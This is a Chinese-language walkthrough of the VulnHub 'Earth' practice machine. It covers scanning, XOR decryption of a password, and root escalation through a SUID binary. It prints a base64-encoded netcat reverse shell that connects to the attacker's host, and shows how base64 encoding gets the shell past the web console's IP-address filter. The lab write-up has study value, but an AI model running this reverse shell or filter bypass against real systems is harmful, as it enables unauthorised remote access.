earth靶机复盘
靶场下载地址:https://download.vulnhub.com/theplanets/Earth.ova
这个靶场还是非常有意思的,值得去打一下。
我们对拿到的ip进行一个单独全面的扫描,发现有两个DNS解析。
就把这两条解析添加到hosts文件中去,要么无法打开网站。
这样网站就可以正常打开了。
扫描ip时候我们发现443是打开的,扫描第二个dns解析的443端口能扫描出来一个robots.txt
dirsearch -u https://terratest.earth.local/
打开后我们发现一个notes.*,就是什么后缀名都可以,但是notes明显应该是txt后缀。
打开后我们拿到了一个用户名terra
,并且这里告诉了我们一个加密方式是利用XOR异或方式加密的。
这个页面其实就是我们的密钥。
而密文就是我们主页面最下面这一串16进制的数字,我们可以看出来这里面最大的数就是F,所以肯定是一个16进制的数字。
在cyberchef把密文先用一个hex解密16进制的解密,然后XOR时候放上我们的密钥,这样就能解密出来了,我们发现解密出来的东西很有规律,复制我们最前面的这一串。
然后在Key的位置放上去,发现作者就是用这一串加密的,能得到相同的output。
因为我们得到一个用户名,一个密钥,其实就是我们的密码,肯定还有一个登陆网站。
这个登陆网站也可以在目录中扫描出来,我这里就不扫描了。
user:terra
passwd:earthclimatechangebad4humans
这样就登陆上来了,发现这里其实是一个shell。
当我们远程时候发现不让我们远程,这里其实是给我们的ip地址做了一个过滤,就是不让我们输入ip地址,只要有ip地址就不行,但是我们可以用别的方法来绕过。
这里我们可以把我们反弹shell加密成base64编码。
然后用echo命令来执行,base64 -d
是解码base64,后面加上sh是执行前面的内容,所以这样我们就绕过去不让输入ip地址了。
echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMTAyLjEyOSA4ODg4|base64 -d|sh
同时kali监听一下就拿到了一个shell。
登陆上后我们先usr/bin/script -qc /bin/bash /dev/null
拿到一个稳定的shell
用find查找一下又suid权限的文件,发现有一个奇怪的文件,执行了一下发现不能执行。
把这个文件拷贝到我们kali中分析一下,看看是什么问题。
kali监听时候输出到一个文件中去。
file一下发现是个可执行文件,并且文件执行过程中会修改root密码。
给这个文件价格权限就能在本机执行了,但是依然会出错。
然后利用ltrace
工具可以分析这个文件执行时候在什么地方出错了。
结果发现是少了三个文件。
我们在kali中创建一下这三个文件,再执行发现执行成功了
并且root密码被修改成Earch了。
su root顺利拿到root权限。